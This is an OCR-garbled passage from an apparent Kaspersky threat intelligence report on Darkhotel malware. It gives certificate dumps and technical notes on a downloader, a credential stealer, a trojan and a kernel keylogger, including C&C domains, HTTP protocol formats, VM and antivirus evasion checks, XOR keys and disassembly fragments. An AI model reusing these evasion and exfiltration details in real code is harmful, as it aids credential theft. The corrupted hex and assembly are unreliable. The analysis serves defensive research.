§cBNvdXJpMRIWEAYDVQQHFAlCcmlkZ2VOb24XHTAngNVBAOUFFZhbnRhZ2UgQ3Jl§
$Z2G10IFVuaW9uMRYWFAYDVQQLFA1JVCBEZXBhcnRtZW50MRkwFwYDVQQDEFBBZZWN1 :
§chyLmVlY3UuY29tMFwwDQYJKoZIhchAQEBBQADSwAwSAJBALSuSlkuMOB5M3nZ§
i mzRopnTx fwLRr JENWUG/NANiMw27vAop7Jz 96hasneMob33Ha0/ uBANvgyPNHOKT |
 gyRt In8CAWEAAAOCAT 0wggESMAKGA1UdEWQCMAAWCWY DVROPBAQDAGWGMDOGA1Ud !
§HszMDEwL6AtoCuGKWhOdHA6Ly9vantRthYBJSLnZlcmlzawduLvabS9Pngt§
:RzMuY3JsMGsGCCsGAQUFBWEBBF8wWXTAKkBggrBgEFBQcwAYYYaHROcDovL29jc3Au
§dianNpZZ4uY29tMDUGCCsGAQUFBzAChilodHRwOi8vaZ4LUchWFpYS5ZZXJp§
§c21nbi5jb2OVTOZYLUCZLlecjBEBgNVHSAEPTA7MDkGC2CGSAGG+EUBBXCDMCOW§
P KAYIKwYBBQUHAGEWHGhO0dHBz018vd3d3LnzlcmlzaWduLmNvbS 9ycGEWMAYKYIZT
§AYb4RQEGBwQiFiABNGNinuzOGNiNmzhODgSNzNjODszijMWQ3Y2UwNTANngq§
:hkiGOwOBAQUFAAOCAQEAGTXarJE2omx+0JZ21nCPh4sP1nnZtQm46L8Yjee0ze8TU :
§oljD8ZDiaU75AY1B92rdAx9qyePJq2ibeZnMXYy5nV75ToxPJF+4qCUGO/Jddiy§
§KL/tjORpC6qunw8QQcO+4A1VEw7yMOsK8KGxathDgi6ijgtfng7xqsbNJOLS§
$P5gDZttBZu7nSv11wL3mbN004uU0jXkszMt5G7BGCO0Yzjhl1tfCH/CMS/p8D0wtD :
§DuidtcO3NvO5kaEZthlGjsQN6jKZKKqXV4irsHSEnEgF6UxWx6UKV9thrDUlp§
P +ZPWWySCp4Xu2PT+bviWBDOLeXETC9mfu4 /CMB/80kA== :
{END CERTIFICATE

%Certiﬁcate:
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Data:
Version: 3 (0x2)
Serial Number:
(Negative) 0a:40:06:6d:24:7d:41:54:02:c3:e9:e2
:a4:57:97:59
Signature Algorithm: md5WithRSAEncryption
Issuer: CN=Root Agency
Validity
Not Before: Jun 9 10:31:21 2009 GMT
Not After : Dec 31 23:59:59 2039 GMT
Subject: CN=Microsoft
Subject Public Key Info:
Public Key Algorithm: rsaEncryption

PublicKey: (1024 bit)

Modulus:
00:cd:25:d3:98:06:2d:91:fl:ad:d7:17:32:66:0a:
d6:25:a0:7f:££:2€:6c:68:95:£9:92:09:a0:63:a5:
80:54:22:6:92:13:08:67:05:3f:80:69:34:07:e4:
c3:00:bc:86:£3:51:64:22:d7:ab:07:be:eb:f7:e7:
97:03:3d:9f:fc:10:00:52:e7:d1:62:40:2a:18:83:
b6:4d:62:e6:f5:9f:fe:16:5e:41:d7:2b:af:54:a7:
8e:af:a29:08:df:39:b2:cb:cf:bf:52:c3:bf:04:8f:
a0:c0:16:89:ce:06:df:6e:d9:26:8a:a7:01:£8:9b:
23:35:3b:4c:96:6d:4a:10:41

Exponent: 65537 (0x10001)

X509v3 extensions:

2.5.29.1:
0>.. .t
0..a!..dc..0.1.0...U....Root Agency...71...d...... \5.

Signature Algorithm: mdSWithRSAEncryption
1a:0c:28:45:f5:5e:01:a9:04:3a:30:7a:0b:e2:dd:f2:7c:89:
22:ac:17:b5:£3:87:6f:e4:09:9e:55:73:£9:11:7b:11:d2:d7:
26:08:03:47:6f:6b:05:1d:24:04:50:d4:¢cb:91:99:ac:13:72:
16:32:05:be:7e:1a:79:29:19:5e

gBEGIN CERTIFICATE :
‘MIIBUTCCAWOGAWIBAGIQO9b/5ktuCvqtNPBYdW6hopzANBgkghkiGIwOBAQQFADAW :
§MRQwEgYDVQQDEthb29OIEFnZW5jeTAerOwOTA2MDkxMDMxMjFaFszOTEyMzEy§
{MzU5NT1aMBOxEAQBgNVBAMTCUlpY3Jve29mdDCBnzANBgkghkiGIwOBAQEFAAOB :
§jQAngkCgYEAzSXTmAYtkatlxcngrWJaB//y5saJXSkgng6WAVCLmkhO4ZWU/§
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§gGkOB+TDALyG81FkIterB77l9+eXs22f/BCwquRYkAqGIO2TWLm9Z/+F15B1yuv§
:VKeOr6kI3zmyy8+/UsO/BI+gwBadzgbfbtkmigcB+JsjNTtMImlKEEECAWEAAANL :
| MEkwRwYDVROBBEAWPOAQEUQJLQYJHUSAIWEh3BZkY 6EYMBYXFDASBGNVBAMTCLJV '
‘b30gOWd1bmN5ghAGN2wAGgBkihHPUNSGXDXOMAOGCSGGS Ib3DOEBBAUAAOEAGGWO
{RfVesakEOjB6C+Ld8nyJIqwXt fOHb+QIn1Vz+RF7TEALXJggDR2 9rtROKBFDUY5GZ
%rBNijIFvn4aeSkZXg== :
{END CERTIFICATE

gCertiﬁcate:
: Data:
Version: 3 (0x2)
Serial Number: 01:00:00:00:00:01:1£:71:31:72:c9
Signature Algorithm: shalWithRSAEncryption
Issuer: 0=GlobalSign Inc, CN=Cybertrust SureServer CA
Validity
Not Before: Feb 13 19:00:51 2009 GMT
Not After : Feb 13 19:00:51 2011 GMT
Subject: CN=inpack.syniverse.com, :
C=US/emailAddress=belinda.jablonski@syniverse.com, L=Tampa :
, O=Syniverse Technologies Inc., OU=Crossroads, ST=Florida§
Subject Public Key Info: :
Public Key Algorithm: rsaEncryption

PublicKey: (512 bit)

Modulus:
00:a25:13:53:17:02:f7:cd:33:64:7d:e8:27:8f:e9:
bc:ab:db:96:3b:41:0d:06:c4:2a:10:d5:64:58:87:
ac:62:de:09:2e:¢c5:5f£:79:¢c5:d5:9e:26:9b:1a:9a:
e3:99:3b:e2:2e:48:7e:9¢c:5f:74:¢c9:34:09:b3:a5:
40:7f:bb:e9:35

Exponent: 65537 (0x10001)

X509v3 extensions:

Netscape Cert Type:
SSL Client, SSL Server

X509v3 Key Usage: critical
Digital Signature, Non Repudiation, Key
Encipherment, Data Encipherment

X509v3 Authority Key Identifier: :
keyid:2B:37:53:93:64:47:66:23:4F:OO:DB:F7:DD:E8:30:B§
6:5B:84:89:23 :

X509v3 CRL Distribution Points:
Full Name:
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URI:http://crl.globalsign.net/sureserver.crl
X509v3 Basic Constraints: critical
CA:FALSE
Signature Algorithm: shalWithRSAEncryption

95:2a:42:59:bd:18:1a:ec:20:e9:96:0d:7f:f2:bc:4e:79:8a:
44:21:24:d7:46:03:94:a8:ec:d0:28:29:07:d0:£f5:bc:91:c5:
21:34:16:dd:87:ee:dc:6a:d4:e7:f4:d4:£9:26:04:bb:60:53:
2b:14:19:8a:2c:2e:1£:6a:8£:97:22:d6:£f4:e5:44:06:c2:22:
ee:cf:02:19:67:fa:40:0f:9c:cf:58:7f:53:21:af:c0:02:ad:
d8:7c:19:3¢c:£f3:52:£f4:10:30:£0:61:24:29:9d:18:01:a3:f5:
c9:29:ab:65:66:ef:a5:2d:cd:53:e2:44:09:ea:8d:4c:bc:ef:
la:b6:2c:7b:df:16:39:94:8b:33:cb:14:16:¢c2:93:42:6c:4d:
18:99:ba:7b:fa:91:74:f0:9%a:1le:ae:92:b4:94:43:bb:96:ba:
Te:6a:df:38:9c:2e:7¢:11:37:37:4c:20:80:5d:6b:e2:94:41:
98:7d:cc:26:ca:cc:4f:81:4d:95:16:bb:26:db:1f:fe:03:fc:
a2:50:9c:49:00b:45:7¢c:86:fc:5c:a6:31:34:£2:08:£f1:03:16:
10:e0:90:0c:e7:02:4e:95:f5:e8:32:03:a3:fb:78:17:dc:23:
bf:b4:59:e6:6£:91:1c:38:cd:b7:9€:48:a0:60:68:98:00:e3:
33:48:18:ae

:BEGIN CERTIFICATE :
§MIIDRDCCAiygAWIBAgILAQAAAAABH3EXCSkaQYJKOZIhVCNAQEFBQAWPDEXMBUG§
:ATUEChMOR2xvYmFsU21nbiBJbmMxITAfBgNVBAMTGENS5YmVydHJI1c3QgU3VyZVN1 :
§anlciBDQTAerOwOTAyMTMxOTAwNTFaFwOxMTAyMTMxOTAwNTFaMIGSMROWGWYD§
§VQQDExprthY2suc31uaxz1anlLvabTELMAkGAlUEBhMCVVMijAngkqhkiG§
{ 9wOBCQEWH2J1bGluZGEuamFibGouc2tpQHNSbml 22X Jz%S57b20xDj AMBGNVBACT
§BVthXBhMSQwIgYDVQQKExtTeWSpdiyc2UgVGVjaG5vbG9naWVzIEluYy4szAR§
{ BQNVBASTCkNyb3NzcmShZHMxEDAOBGNVBAGTBOZ sb3JIpZGEwXDANBgkghkiGOwO0B :
§AQEFAANLADBIAkEApRNTFwL3zTNkfegnj+m8q9uWOOENtquENVkWIeSYt4JLSVf§
§ecXVniaprrjmTviLkh+nF90yTQJsGVAf7vaQIDAQABo4GQMIGNMBEGCWCGSAGG§
: +EIBAQQEAWIGWDAOBgNVHQ8BAf8EBAMCBPAWHWYDVRO JBBgwFoAUKzdTk2RHZ iNP
| ANP33egwt 1uEiSMwOQYDVRO£BDIWMDAUOCYgKOY0aHROCDOVL2NYbC5nbGIiYixz |
P alduLm51dC9zdXJ1lc2VydmVyLmNybDAMBGNVHRMBAf 8EA AAMAOGCSqGSIb3DQER
§BQUAA4IBAQCVKkJZnga7CDplg1/8ererEIaTXRgOUquQKCkHOPWSkohNBbd§
§h+7catTn9NT5pgs7YFMrFBmKLc4fao+x1tbo5UQGwiLuz7Izz/pAD5zPWH9TIa/A§
:Ag3YfBk881LOEDDWYSSpnRgBo/XJKatlZu+1LclT4kQJ601Mv0O8atix73xY51Isz
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§nyWprCbEOYmbp7+pFO8JoeerOlEO7lrp+at84nC58ETc3TCCAXinlEGchwm
{ysxPgU2VFrsm2x/+A/yiUIxJCOV8hvxcpjE08g)xAxXYQ4JAM5wIOL £XoMgOj+3gX :
3CO/tFnmb5EcOM23nkiga2iYAOMzSBiu
§END CERTIFICATE
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Appendix D. Malcode Technical Notes
Small Downloader
Filename MD5 Link Time (UTC) Linker
msieckc.exe 41b816289a6a639f7f2a72b6c9e6a695 2012.04.11 18:31:48 6.0

Technical Details

To ensure only single instance of the module is running, the module verifies if
system mutex named «132DF6E» exists. If it exists the module exits, if not - the
module creates one.

The module implements a method to resist running in virtual environment. It gets
CPU name and identifier from the registry at HKLM\HARDWARE\DESCRIPTION\
System\CentralProcessor\O

and collects IP and MAC addresses of local network adapters. After that it
compiles a string describing the system in the following format: «C P U :
%CPUNAME%<br> Net card : %IP% (%MACADDR%)<br>». Next it checks if this
string contains one of the following substrings:

e VMWARE»

e «QEMU»

e «192.168.100.»

If any of these strings is found, the module terminates.

After that, there is a hardcoded value of 10, which delays further execution of the
module for 10 seconds. Then the module attempts to delete some other, prob-
ably older, components which might be present on the system. The list of deleted
files includes the following:

e %APPDATA%\Microsoft\Crypto\DES64v7\dtlcntr.exe

e %APPDATA%\Microsoft\Crypto\DES64v7\googletoolbar.exe

e %APPDATA%\Microsoft\Crypto\DES64v7\active.dll

e %APPDATA%\Microsoft\Crypto\DES64v7\detect.dll

The next is step is to check if current directory has a file named «U». If not, the
module proceeds with network communication routine. But if this file is found it
does some additional checks. If «U» file is older than 180 days, the module wipes
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the file. If not, it triggers a special variable that makes module dormant and dis-
ables further communication with C&C server.

After all, if the module is ready and allowed to communicate with C&C server it
does that in the following manner.

1. The module connects to autolace.twilightparadox.com (or automachine.
servequake.com) and issues a HTTP GET request with hardcoded User-Agent
string:

GET /major/images/view.php HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0;
SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729;
Media Center PC 6.0)

Host: autolace.twilightparadox.com

Connection: Keep-Alive

Cache-Control: no-cache

The server response should contain «DEXT87» string which is used to rec-
ognize valid response. The malware locates «DEXT87» and reads the data
appended to it. The appended data should be an IP address in plaintext. This
is used a real C&C IP address. Reading stops when non-digit or dot symbol is
found. Here is an example of shortest possible valid server response:
HTTP/1.1 200 OK

Content-Length: 17

DEXT87192.168.1.1

2. Ifthe real C&C IP address is not valid the module may try to send identical
request again but using a different HTTP path: /major/images/read.php
If the C&C IP address is valid, the module issues another HTTP request:
GET /major/txt/read.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0;
SLCC2;
.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Cen-
ter PC 6.0)
Host: autolace.twilightparadox.com
Connection: Keep-Alive
Cache-Control: no-cache

The server response can be one of the following:
a. DEXT87no
b. DEXT87up;<DATASIZE>;<DATA>
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Where <DATASIZE> is a decimal integer that represents length of <DATA>
field in bytes; <DATA> is a binary data separated from <DATASIZE> field by
semicolon. Please note, that after receiving <DATA>, it is XORed with byte
value 0x55 and saved to a disk in a file named «ctfmon.exe» (current directory
is used). Upon successful receiving of the file it is started in a new process.

Information Stealer

Filename MD5 Link Time (UTC) Linker
DmaUp3.exe 864cd4a59215a7db2740dfbe4a648053 2012.04.30 6.0
00:25:59

This module is relatively large (455Kb) and comes as a part of WinRar SFX file
that drops and starts the module from %APPDATA%\Microsoft\Display\DmaUp3.
exe. The main purpose of the module is to collect various secrets stored on a
local system. This module is designed not to run on Windows with system default
codepage set to Korean.

Technical Details

From the very beginning this module checks if <bdagent.exe» process is running
on current system. Bdagent.exe is a name for BitDefender Antivirus component.
If itis running, it uses simple AV heuristics evasion technique. The code starts a
thread that simulates keystrokes of ESC keyboard key and then shows a system
modal message box. Pushing ESC key closes the modal message box. Right after
that keystroke generation thread is terminated and the module continues normal
execution as if <bdagent.exe» was not running.

Next the module makes sure only one instance of current code is running by
checking if system mutex object named «920111215» exists. After that, the mod-
ule collects information about current system which includes the following;:

e Network adapter MAC address

e CPU Name and Identifier

e System default codepage

e Windows OS and Service Pack versions

e Hostname and IP address

e local user name

e Cached passwords from Internet Explorer 6/7 /8/9 (Protected Storage and
IntelliForms)
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e Mozilla Firefox stored secrets (<12.0)

e Chrome stored secrets

e MS Outlook Express accounts

e MS Windows Mail accounts

e MS Windows Live Mail accounts

e MS Outlook accounts (SMTP/IMAP/POP3/HTTP)
e MSN Messenger

e Gmail Notifier credentials

e Google Desktop accounts

e Google Talk accounts

If the module reveals that current System default codepage is 0412 (Korean) it
terminates.

There is one interesting specifics in Microsoft IntelliForms which reveals attack-
er’'s interests. IntelliForms technology keeps login/password information in the
registry in encrypted form. However, there is no clear information about the corre-
sponding website which requires given login and password. The only information
Intelliforms offers about the place where given login/password should be used
is a hash of the webpage URL. So far, the attackers can steal logins and pass-
words but to understand where they are from they must guess the string which
produced given hash. They have implemented this logics in the malware. When
IntelliForms information is stolen the malware tries to check the list of known
login page URLs to recover the originating webpage address. Here is the list of
URLs that are checked by the malware:

e http://twitter.com

e http://facebook.com

e http://passport.yandex.ru/passport

e http://www.yandex.ru

e http://qip.ru

e http://mail.qip.ru

e https://login.nifty.com/service/login

e http://e.mail.ru/cgibin/login

e http://mail.ru

e http://mail.126.com

e http://secure.zapak.com/mail/zapakmail.php
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https://lavabit.com/apps/webmail /src/login.php
http://www.bigstring.com

http://www.gmx.com
http://passport.sohu.com/indexaction.action
http://www.sohu.com
https://www.zoho.com/login.html
http://mail.sina.com.cn
http://members.sina.com/index.php
http://www.care2.com/passport/login.html
http://www.mail.com/int
https://fastmail.fm/mail
https://www.inbox.com/login.aspx
http://www.gawab.com

http://mail.163.com
http://registration.lycos.com/login.php
http://www.mail.lycos.com
https://my.screenname.aol.com/_cqr/login/login.psp
https://edit.bjs.yahoo.com/config/login
https://login.yahoo.co.jp/config/login
https://login.yahoo.com/config/login_verify2
https://login.live.com/login.srf
https://www.google.com/accounts/servicelogin

The list of targeted services includes some local services specifically popular in:

United States

Russia

China

Japan

Middle Eastern countries
India

The module uses several simple XOR-based algorithms to encrypt embedded
string data. String encryption/decryption functions use the following keys:

«Microsoft Corporation. All rights reserved.»
«90ed768ab728a0f74a4b957c31f1a213»
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The module works with all Firefox versions prior to Mozilla Firefox 12.0. Depend-
ing on version of Firefox, it can read Firefox database directly to dump stored se-
crets or utilize one Firefox libraries to access the configuration data. In addition it
makes use of the following Mozilla Firefox libraries depending on Firefox version:
e nss3.dll

e plcd.dll

e mozcrt19.dll

e mozutils.dll

e mozglue.dll

e mozsqlite3.dll

e sqglite3.dll

e nsprd.dll

e plds4.dll

e nssutil3.dll

e softokn3.dll

When stealing secrets from Firefox and Chrome it uses built-in SQLite library
code. The module is linked with SQLite version 3.7.5 release candidate 2, re-
lease hash ed759d5a9edb3bba5f48f243df47be29e3fe8cd7 dated as 2011-
01-28 17:03:50.

After stealing secrets from local system the malware executes some kind of
embedded script. It is logging all actions to inform the operator what exactly was
executed by this variant of the malware. The result of this execution is appended
to the stolen data and uploaded to the C&C server.

The module uploads all collected information to one of the following URLs via
POST request:

e hxxp://fenraw.northgeremy.info/html/docu.php

e hxxp://fenrmi.eu.pn/html/docu.php

e hxxp://fenrix.yaahosting.info/html/docu.php

e hxxp://fenry.zoka.cc/html/docu.php

It's the first time we see .pn domain used in malware. This top level country code
domain is quite exotic and is assigned to Pitcairn Islands, which is Overseas ter-
ritory of the United Kingdom in the Pacific. As of 2013 estimated population of
Pitcairn Islands is only 56 people. An official .pn domain costs $100/year from
the registry, however .eu.pn domains seem to be given away for free.
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The malware uses fixed User-Agent string:

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2;
.NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Cen-
ter PC 6.0)

The data is uploaded as a POST request binary in the following format:
<Userld>;<UniqueMachineld>;<EncryptionKey>;<GeneralSysinfo>

where <Userld> is hardcoded identifier (i.e. «<user2» in current sample);
<UniqueMachineld> is a 32 characters long hex string which derived from net-
work card MAC address; <EncryptionKey> is symmetrical encryption key used to
encrypt <Userld> and <GeneralSysInfo> values. The malware uses text protocol,
which is why potentially binary values of <Userld> and <GeneralSysInfo> are ad-
ditionally encoded using Base64 algorithm.

<GeneralSysInfo> field contains only basic information about the system, i.e.:

Info;

Sys@User : MYCOMPUTER@MyUser (0850)

C P U :Intel(R) Core(TM) i3-1667U CPU @ 1600GHz
System 0S: Microsoft Windows XP (Service Pack 3)
Net card : 192.168.0.2 (133773311337)

If the server reply contains a keyword «<minmei» it continues sending additional in-
formation. «<Minmei» may be a reference to a popular Japanese anime and manga
known as «The Super Dimension Fortress Macross». A quote from Wikipedia:
«Born in Yokohama Chinatown, Japan (though she is of partial Chinese descent)
as Linn Minmei, Minmay moved in with her uncle Shaochin (4'3I) and aunt Feic-
hun (Z5) on South Ataria Island in hopes of finding the path to fulfill her dream
of becoming a star.»

Trojan.Win32.Karba.e

Filename MD5 Link Time (UTC) Linker

acroedit.exe 0fe3daf9e8b69255e592¢8af97d24649 2013.10.29 00:21:48 6.0

Technical Notes

The trojan iterates through running processes and looks for security software
basing on executable filenames from the list below. If the process is found it
keeps a record of the software name using short AV Identifier string from the fol-
lowing table of rules
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Process Name AV Identifier Company Name, Country
ekrn.exe NOD ESET, Czech Republic
NVCAgent.npc NV Naver NHN, Vietnam
360tray.exe 36 Qihoo 360, China
msseces.exe MS Microsoft, USA
uiWinMgr.exe TR TrendMicro, Japan
AvastSvc.exe AST Avast, Czech Republic
RsMgrSvr.exe RS Rising, China
mcagent.exe MC McAfee, USA
avgidsagent.exe AV AVG, Czech Republic
ccsvehst.exe NT Symantec, USA
bdagent.exe BD BitDefender, Romania
avp.exe KS Kaspersky, Russia
V3LTray.exe \% AhnLab, South Korea
AYAgent.aye AY ESTSoft, South Korea

The malware uses a trick to evade running on a VMware. First, it checks if cur-
rent process is running in WOW64 environment. If yes it does additional port

1/0 specific to VMWare virtual machine (the VMware hypervisor port: 0xX5658;
VMware hypervisor magic value: 0x564D5868). Another method to detect VM en-
vironment is to check local network adapter’s IP address. If it belongs to subnet
192.168.100.* then the malware believes it’s running in a VM. If VM is detected
the process instantly terminates.

Next the malware submits collected information to the C&C server using HTTP
GET request and the following URL format: http://<C2DOMAIN>/bin/read_i.php

TLP: Green For any inquiries, please contact intelreports@kaspersky.com
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?a1=%STEPID%&a2=%HOSTID%&a3=%SYSINFO%&ad4=% AVSOFTID%, where
%C2DOMAIN% is one of the following C&C domains:

micronaoko.jumpingcrab.com
microchsse.strangled.net
microbrownys.strangled.net
microplants.strangled.net
microlilics.crabdance.com

%STEPID% is special text string indicating stage of malware operation. This string
varies depending on the local system language and may be one of the following;:

«step2-down-k» for codepage 0412 (Korean)
«step2-down-j» for codepage 0411 (Japanese)
«step2-down-u» for codepage 0409 (English,US)
«step2-down-r for codepage 0419 (Russian)
«step2-down-c» for codepage 0804 (Chinese)
“step2-down-b” for codepage 0409 (English,US)
«step2-downn» for other codepages;

%HOSTID% is a special value generated from local network card MAC address;
%SYSINFO% is a string with general system information (please see description
above);
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%AVSOFTID% is a string that contains indexes of AV software names in internal
table of AV ldentifiers (please see the table above).

Selective Infector

Technical Notes

Igfxext.exe can download a file and drop it to %APPDATA%\microsoft\dis-
play\ctfmon.exe (md5= e8bfb82b0dd5cef46116d61f62c25060). After
execution, the downloaded file drops SMAGENT.EXE (md5 0306f9ae-
7786570139f78e78bc940597) to %APPDATA%\MICROSOFT\DISPLAY and ex-
ecutes it. This component is a virus, and is used to selectively infiltrate into other
computers via USB or network shares.

Trojan-Dropper & Injector (infected legitimate files)

Technical Notes

Alarge number of files are detected by Kaspersky Lab scanners as Virus.Win32.
Pioneer.dx. These files are all legitimate files that have been infected by another
Darkhotel component. All of these infected files drop a 63kb self injecting compo-
nent.

Filename MD5 Link Time (UTC) Linker

igfxext.exe fcd2458376398b0be09eaa34f4f4d091  2012:07:27 17:10:30 6.0

This malware is 63kb in size. It is bound to a variety of other software packages
that vary in name, but the host package is consistently detected as “Virus.Win32.
Pioneer.dx”. The igfxext.exe component is dropped to disk and run. It spawns an-
other suspended process with its own igfxext.exe image, but decrypts a smaller
32kb executable (cf1319d94f33380622ba000b7d8ad6e9,Trojan-Downloader.
Win32.Agent.xwge) from its .data section in memory with a simple xor Oxbb. The
running process overwrites the igfxext.exe image in the suspended process with
this smaller chunk of code. It then resumes the thread in the new process.

This smaller code section maintains similar functionality to the “worm” compo-
nent:

e BASICAPI window creation and update
e VMWare detection/red pill
e AV check
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e dmaup3.exe checks
e proto.dat check

e system information collection, encryption with
«@bh911001f78ad31552e47205ecc46466» key and transfer to c2

Host package files detected as “Virus.Win32.Pioneer.dx” are infected legitimate
files, that do not have any self-propagation routines.

Enhanced Keyloggers and Development

Technical Notes
It is signed with the familiar “belinda.jablonski@syniverse.com” digital certificate.
77669d11c¢3248a6553d3c15cd1d8a60e - csmrs.exe, 478.8kb, Complie-

dOn:2010-11-11 08:46:47
Signed by belinda.jablonski@syniverse.com certificate.

This sample is started by code running within svchost.exe on WinXP SP3. It drops
a keylogger. The debug path inside:

d:\KerKey\KerKey(&2H\KerKey\release\KerKey.pdb

Note -&lHt - means “General” in Korean

The dropper above maintains, drops and installs this kernel mode keylogger:
md5b: 86b18e99072ba72d5d36bce9a00fc052 filename: ndiskpro.sys

size: 295kb

CompiledOn:2009-11-24 11:56:22

Likely, it was developed as a part of a mid-to-late 2009 project:

| e:\project\2009\x\total_source\32bit\ndiskpro\src\ioman.c

Keylogger Code

This driver package is built to look like a legitimate low level Microsoft system
device. It is installed as a system kernel driver “Ndiskpro” service, described as
a “Microcode Update Device”. It is somewhat surprising that there is no rootkit
functionality hiding this service:
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SERVICE_NAME: Ndiskpro
DISFLAY_NAME: Ndiskpro
TYPE KERNEL_DRIVER

NING

STATE : RUN
¢STOPPABLE, NOT_PAUSABLE, I GHORES _SHUTDOWN>

WIN32_EXIT_CODE H (B>
SERVIGE_EXIT_CODE : @xB>
CHECKPOINT H
WATIT_HINT

When loaded, the NDISKPRO.SYS driver hooks both INT Ox01 and INT Oxff, and
retrieves keystroke data directly from port Ox60, the motherboard keyboard con-
troller itself. Here we see the local port variables assigned values
.text:08M39E0 var_28
.text: 08 39ED var_19

.text:888139E8 Interval
-text:008139E0 Port

dword ptr -28h
byte ptr —19%h
LARGE_INTEGER ptr -18&h
dword ptr -18h

-text:000139EQ Hewlrgl byte ptr -9

-text:@08139EQ var_8 dword ptr -8

text:8088139E0 var_1 byte ptr -1

-text:-00868139E0

.text:000139E0 mou edi, edi

.text:@88139E2 push ebp

.text:0p0139E3 mov ebp, esp

-text:-000139ES sub esp, 24h

-text:0088139E8 mou [ebp+Port], 64h

-text:-8088139EF mou [ebp+uvar_28], 68h

.text:0088139F6 mov [ebp+var_8], 8

.text:0088139FD mov [ebp+Interval.LowPart], BFFFFD8FBh
-text:00013004 mov [ebp+Interval .HighPart], BFFFFFFFFh
.text:00013A0B mov [ebp+var 8], @

.text:@8013012 imp short loc_13A1D

And here, the ports are directly being read with READ_PORT_UCHAR(0x64) and
then READ_PORT_UCHAR(0x60):

-text:08013A1D loc_13A1D: ; CODE XREF: sub_139E8+32Tj
-text:@a8813A1D cnp [ebp+var_8], Gu4h
-text:@a08813A21 jnb short loc_13A83
-text:00813A23 nou cl, 1Fh ; Heuwlrgl
-text:00013A25 call ds:KfRaiselrql
-text:00013A28 nov [ebp+NewIrql], al
-text:00013A2E nov ec®, [ebp+Port]
-text:00813A31 push ecx ; Port
-text:008013n32 call ds :READ_FORT_UCHAR
-text:00013A38 nov [ebp+var_19], al
-text:00013A38 novzx ed%, [ebp+var_19]
-text:00013A3F and ed=, 1

-text:00013A42 jz short loc_13A6A
-text:00013A4L nov eax, [ebp+var_28]
-text:00813A47 push eax : Port
-text:08013n48 call ds zREAD_PORT_UCHAR
-text:00013A4E nov [ebp+var_1], al
-text:00013A51 novzx ecx. lebp+var 11

It buffers, then communicates the data to the running user mode component.
This component then encrypts and writes the retrieved values ondisk to a ran-
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domly named .tmp, file like ffffz07131101.tmp. This file is located in the same

directory as the original dropper, which maintains persistence across reboots with
a simple addition to the HKCU run key.

_.E..'.;; Device Manager

----- :J Direct memory access controller
----- :J Intel 8237156 PCI ko 154 bridge
----- :J Inkel 5244 1F% Pentium(R) Pro Pr

Microcode Update Device
. :J Microcode Update Device

:{ Microsoft Composite Battery

----- ¢ Microsoft System Management B
----- ' PClbus

----- :J Flug and Play Software Device E
----- :J Programmable interrupt controlle
----- :J System timer

----- :J Terminal Server Device Redirect:
----- ¢ WirtualBox Device

-8 Universal Serial Bus controllers

Drritve
Updal

Foll B

o]
File  Action Wiew Help Microcode Update Device Prop ﬂﬁl
== | | =] | 2 | | = General Driver |Details|
: fg Muonitors i . -
Q Mebwork adapters '1] Micracode Update Device
- Ports (COM & LPT)
@ Sound, viden and game controllers 5 o .
= % System devices Driver Provider. Microzoft, Inc.
----- :J ACPI Fixed Feature Button Driver File Details 2=

!ﬁj Microcode Update Device

Driver files:

Frovider: Unknown

File: wersion: Unknown

Here is debug output demonstrating this component’s data retrieval when the
letter “D” is repeatedly pressed on the keyboard. Keyscan make and break codes
are “Ox20” and “OxAQ” and for the key press and key release for the “D” key. The
“Ox1D” value from port 0x64 that you see below is basically an indication that
the output buffer is full and the keyboard is locked, so it is safe for the driver to

access the key value in port Ox60:

0x60 port access, data = 0x20
0x64 port access, data = 0x1D
0x64 port access, data = 0x1D
0x60 port access, data = OxAO
0x64 port access, data = 0x1D
0x64 port access, data = 0x1D
0x60 port access, data = 0x20
0x64 port access, data = 0x1D
0x64 port access, data = 0x1D
0x60 port access, data = OxAO
0x64 port access, data = 0x1D
0x64 port access, data = 0x1D
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0x60 port access, data = 0x20

0x64 port access, data = 0x1D

0x64 port access, data = 0x1D
0x60 port access, data = OxAO

0x64 port access, data = 0x1D

0x64 port access, data = 0x1D
0x60 port access, data = 0x20
[Output DeviceObject = Ox0, bisHidKbd = Ox0
SISO IOISIOIOIOIOIOIOIEIOIcIOIOIcIOIcIcIcIGI>L>
SISO IOIOIOISIOIOIOIOIOIOI>IOIEIOIOIcIOIcIcIcIcI>L>
DRO = 0x60, DR1 = 0x64, DR2 = OxF7190410, DR3 = 0x0, DR6 = OxFFFF2FFO,
DR7 = 0x22073F
Current ISR, HighAddress = Oxf718, LowAddress = Oxf330, Flag = Oxee oldCR4 =
Ox6F9
oldDR7 = 0x22073F
SISO IOISIOIOIOIOIOIOI>IOIcIOIOIcIOIcIcIcI>I>L>
SISO IOISIOIOIOIOIOIOISIOI>IOIOIcIOIcIcIcIcI>L>
These debug messages and code style are duplicates of what chpie posted in the
past.

This keylogger module encrypts and stores gathered data in a log file, as men-
tioned previously. Its encryption algorithm is similar to RC4. Interesting part is
that the module randomly generates the key and stores it in an unexpected place:
in the middle of the log file name. Hence, the numeric part of the filename is used
as a seed for the pseudorandom number generator. Rand function is statically
linked to insure same results on different computers.

Here is the commented RC4 encryption code:
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.text:08404120

. see4e4120
Ltext:08404128
Ltext: 06404124
.text 88484127
ctext:e840412C

.text: 08484132
Ltext: 08404134

. - 8040413D
Jtextiagsou1u
Ctext:BB4B41LE
Ltext:oa404146
Jtextiap4ou1us

Ctext: 88404152
Jtextiap4ou152
.text: 08484153
Ltext:o0404158

TLP: Green

8B
8A
E8
90

F7
a1
A
32
88
8D
52
50
FF
83
ap
7C
5D
5B

SF
B8
SE
59
c3

a1

24 18

86

BA 68 88
86 08
86 47 08

24 17
24 17

81

68 48 88

encrypt:

mouy
call
cdq
moy
idiv

push
XOr
mouy
lea
push
push
call
add
cmp
j1
pop
pop

loc_484152:
pop
mou
pop
pop
retn

KASPERYKY2

; CODE XREF: write_encrypted_data+25Tj
; write_encrypted_data+5ELj
eax, [esp+1kh+arg_8] ; string

bl, [esiteax] ; byte to encrypt
; ede = 8
ecx, BFFh
